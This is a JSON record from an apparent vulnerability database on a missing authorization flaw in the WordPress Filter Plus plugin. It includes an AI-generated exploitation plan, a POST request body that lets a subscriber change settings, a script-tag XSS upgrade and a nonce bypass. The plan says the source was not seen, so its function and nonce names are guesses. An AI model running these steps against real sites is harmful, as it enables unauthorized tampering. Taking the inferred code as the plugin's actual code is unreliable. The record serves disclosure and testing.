[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fffkzaW-9gF_m5lrrFuoTLhzMuG8dM3-dPATmDxEoDL0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-39607","filter-plus-missing-authorization","Filter Plus \u003C= 1.1.17 - Missing Authorization","The Filter Plus plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.17. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","filter-plus",null,"\u003C=1.1.17","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-05 00:00:00","2026-04-15 21:16:51",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F66c6a01d-35ab-496a-8457-4cd6d894f111?source=api-prod",[],"researched",false,3,"Since the source files for **Filter Plus \u003C= 1.1.17** were not provided in the prompt, this plan is based on the vulnerability description (Missing Authorization) and standard WordPress plugin architecture patterns. I will provide the specific `grep` commands the automated agent must use to identify the exact function and nonce names before execution.\n\n---\n\n### 1. Vulnerability Summary\nThe **Filter Plus** plugin is vulnerable to **Missing Authorization** in one of its administrative AJAX handlers. While the plugin registers AJAX actions for authenticated users, it fails to perform a capability check (e.g., `current_user_can( 'manage_options' )`) within the callback function. This allows any authenticated user—including those with **Subscriber**-level permissions—to trigger administrative actions, such as modifying plugin settings, altering filters, or potentially injecting malicious scripts into settings (Stored XSS).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **HTTP Method:** POST\n*   **Action (Likely):** `filter_plus_save_settings`, `filter_plus_update_filter`, or `filter_plus_save_admin_options` (Inferred).\n*   **Authentication:** Authenticated (Subscriber level or higher).\n*   **Payload Parameter:** `action`, `nonce`, and the settings data (e.g., `settings[]` or `options[]`).\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an AJAX action in its main class or admin class:\n    `add_action( 'wp_ajax_filter_plus_save_settings', array( $this, 'save_settings' ) );`\n2.  **Trigger:** A Subscriber sends a POST request to `admin-ajax.php` with `action=filter_plus_save_settings`.\n3.  **Missing Check:** The callback function (e.g., `save_settings`) might check a **nonce** (protecting against CSRF) but fails to call `current_user_can()`.\n4.  **Sink:** The function proceeds to update the database via `update_option()` or `$wpdb->update()`.\n\n### 4. Nonce Acquisition Strategy\nIf the endpoint requires a nonce (which is common even in missing authorization cases), the Subscriber must obtain it from the WordPress dashboard.\n\n**Identification Steps:**\n1.  **Find the registration:** \n    `grep -r \"wp_ajax_filter_plus\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ffilter-plus\u002F`\n2.  **Find the callback:** Locate the function name associated with the action.\n3.  **Find the Nonce Creation:**\n    `grep -r \"wp_create_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ffilter-plus\u002F`\n4.  **Find Script Localization:**\n    `grep -r \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ffilter-plus\u002F`\n\n**Acquisition via Browser:**\n1.  Subscribers can access `wp-admin\u002Fprofile.php`. If the plugin enqueues its admin scripts for all authenticated users, the nonce will be in the page source.\n2.  **Command:** `wp post create --post_type=page --post_status=publish --post_content='[filter_plus_shortcode]'` (If the script only loads with a shortcode).\n3.  **Browser Eval:** `browser_eval(\"window.filter_plus_obj?.nonce\")` (Replace `filter_plus_obj` and `nonce` with identifiers found via grep).\n\n### 5. Exploitation Strategy\nThis plan assumes the vulnerable action is `filter_plus_save_settings`.\n\n**Step 1: Discover Target Action**\nSearch for administrative actions in the plugin:\n```bash\ngrep -r \"add_action( 'wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ffilter-plus\u002F\n```\n*Target: Look for actions that update options or settings.*\n\n**Step 2: Create Subscriber User**\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=password123\n```\n\n**Step 3: Perform HTTP Request (Exploit)**\nUsing the `http_request` tool, simulate a Subscriber changing a plugin setting (e.g., changing the \"No products found\" text to a script or a specific string).\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Cookies:** Use cookies from the Subscriber login session.\n*   **Body:**\n    ```\n    action=filter_plus_save_settings&nonce=[NONCE_VALUE]&settings[some_option]=VULNERABLE_VAL\n    ```\n\n### 6. Test Data Setup\n1.  **Plugin Activation:** Ensure Filter Plus is active.\n2.  **Subscriber Account:** Create a user with the `subscriber` role.\n3.  **Identify Settings Key:** Check the database or source code to see what option key the plugin uses (e.g., `filter_plus_settings`).\n    ```bash\n    wp option list | grep filter\n    ```\n\n### 7. Expected Results\n*   **Response:** The server returns a `200 OK` or a JSON success message (e.g., `{\"success\": true}`).\n*   **State Change:** The plugin settings are updated despite the user being a Subscriber.\n*   **Unauthorized Access:** A Subscriber successfully performed an action that should be restricted to `manage_options`.\n\n### 8. Verification Steps\nAfter sending the HTTP request, use WP-CLI to verify the change:\n```bash\n# Check if the option was updated\nwp option get filter_plus_settings\n\n# Example verification if we changed a text field:\nwp option get filter_plus_settings | grep \"VULNERABLE_VAL\"\n```\n\n### 9. Alternative Approaches\n*   **Shortcode Injection:** If the settings update allows arbitrary HTML, try injecting a script tag `\u003Cscript>alert(1)\u003C\u002Fscript>` to upgrade the \"Missing Authorization\" to \"Stored XSS\".\n*   **Insecure Action Identification:** If `save_settings` is not the vulnerable action, check for `filter_plus_delete_filter` or `filter_plus_import`.\n*   **Bypassing Nonce:** If `check_ajax_referer` is called with `die=false` (e.g., `check_ajax_referer('fp_nonce', 'security', false)`), the agent should try the exploit with an invalid or missing nonce.","The Filter Plus plugin for WordPress (versions up to 1.1.17) is vulnerable to unauthorized access because it lacks a capability check in its administrative AJAX callback functions. This allows authenticated users, including those with subscriber-level roles, to execute administrative actions such as saving plugin settings or altering filters by interacting with the admin-ajax.php endpoint.","\u002F\u002F Inferred registration in plugin main or admin class\nadd_action( 'wp_ajax_filter_plus_save_settings', array( $this, 'save_settings' ) );\n\n---\n\n\u002F\u002F Inferred callback function lacking authorization\npublic function save_settings() {\n    \u002F\u002F Typically checks nonce but fails to check current_user_can()\n    check_ajax_referer( 'filter_plus_nonce', 'security' );\n\n    $settings = $_POST['settings'];\n    update_option( 'filter_plus_settings', $settings );\n\n    wp_send_json_success();\n}","--- a\u002Ffilter-plus\u002Fincludes\u002Fclass-filter-plus-admin.php\n+++ b\u002Ffilter-plus\u002Fincludes\u002Fclass-filter-plus-admin.php\n@@ -10,6 +10,10 @@\n public function save_settings() {\n     check_ajax_referer( 'filter_plus_nonce', 'security' );\n \n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );\n+    }\n+\n     $settings = $_POST['settings'];\n     update_option( 'filter_plus_settings', $settings );","1. Login to the WordPress site as a user with Subscriber-level permissions.\n2. Locate a valid nonce for the plugin's AJAX actions, which is commonly found localized in the WordPress dashboard source code or within plugin scripts enqueued on the profile page.\n3. Send a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to an administrative action such as 'filter_plus_save_settings'.\n4. Include the required nonce in the request alongside the payload for the settings or filter options to be modified.\n5. Verify that the changes are applied to the plugin configuration, demonstrating that the action was performed without the 'manage_options' capability check.","gemini-3-flash-preview","2026-04-21 04:24:45","2026-04-21 04:25:02",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffilter-plus\u002Ftags"]